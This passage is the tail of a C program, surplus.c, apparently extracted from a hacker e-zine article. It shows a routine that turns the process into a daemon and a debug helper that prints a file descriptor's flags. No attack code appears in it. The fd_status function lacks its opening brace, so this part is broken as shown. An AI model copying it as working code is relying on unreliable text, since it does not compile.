  3300.     signal(SIGTTIN, SIG_IGN);
  3301.     signal(SIGTSTP, SIG_IGN);       /* Ignore suspend signal. */
  3302.  
  3303.     switch (fork())
  3304.     {
  3305.         case 0:                     /* child continues */
  3306.             break;                          
  3307.  
  3308.         default:                    /* parent exits */
  3309.             clean_exit(0);
  3310.  
  3311.         case -1:                    /* fork error */
  3312.             err_exit(1, 1, verbose, "[fatal] Cannot go daemon");
  3313.     }
  3314.                                     /* Create a new session and set this
  3315.                                      * process to be the group leader.
  3316.                                      */
  3317.     if (setsid() == -1)
  3318.         err_exit(1, 1, verbose, "[fatal] Cannot create session");
  3319.                                     /* Detach from controlling terminal */
  3320.     if ((fd = open("/dev/tty", O_RDWR)) >= 0)
  3321.     {
  3322.         if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1)
  3323.                 err_exit(1, 1, verbose, "[fatal] cannot detach from controlling terminal");
  3324.         close(fd);
  3325.     }
  3326.     errno = 0;
  3327.     chdir(WORKING_ROOT);            /* Working dir should be the root */
  3328.     umask(0);                       /* File creation mask should be 0 */
  3329. }
  3330.  
  3331. #ifdef  DEBUG
  3332.  
  3333. /* 
  3334.  *  Bulk of this function taken from Stevens APUE...
  3335.  *  got this from Mooks (LTC)
  3336.  */
  3337.  
  3338. void fd_status(int fd, int newline)
  3339.     int accmode = 0, val = 0;
  3340.  
  3341.     val = fcntl(fd, F_GETFL, 0);
  3342.  
  3343. #if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT)
  3344.     accmode = val & O_ACCMODE;
  3345. #else                           /* pyramid */
  3346.     accmode = val;              /* kludge */
  3347. #endif                          /* pyramid */
  3348.      if (accmode == O_RDONLY)       fprintf(stderr, " read only");
  3349.      else if (accmode == O_WRONLY)  fprintf(stderr, " write only");
  3350.      else if (accmode == O_RDWR)    fprintf(stderr, " read write");
  3351.      if (val & O_APPEND)            fprintf(stderr, " append");
  3352.      if (val & O_NONBLOCK)          fprintf(stderr, " nonblocking");
  3353.      else                           fprintf(stderr, " blocking");
  3354. #if defined(O_SYNC)
  3355.      if (val & O_SYNC)              fprintf(stderr, " sync writes");
  3356. #else
  3357. #if defined(O_FSYNC)
  3358.      if (val & O_FSYNC)             fprintf(stderr, " sync writes");
  3359. #endif                          /* O_FSYNC */
  3360. #endif                          /* O_SYNC */
  3361.      if (newline)                   fprintf(stderr, "\r\n");
  3362. }
  3363. #endif  /* DEBUG */
  3364.  
  3365. /* EOF */
  3366. <--> surplus.c
  3367.  
  3368. ----[  EOF
  3369.  
  3370.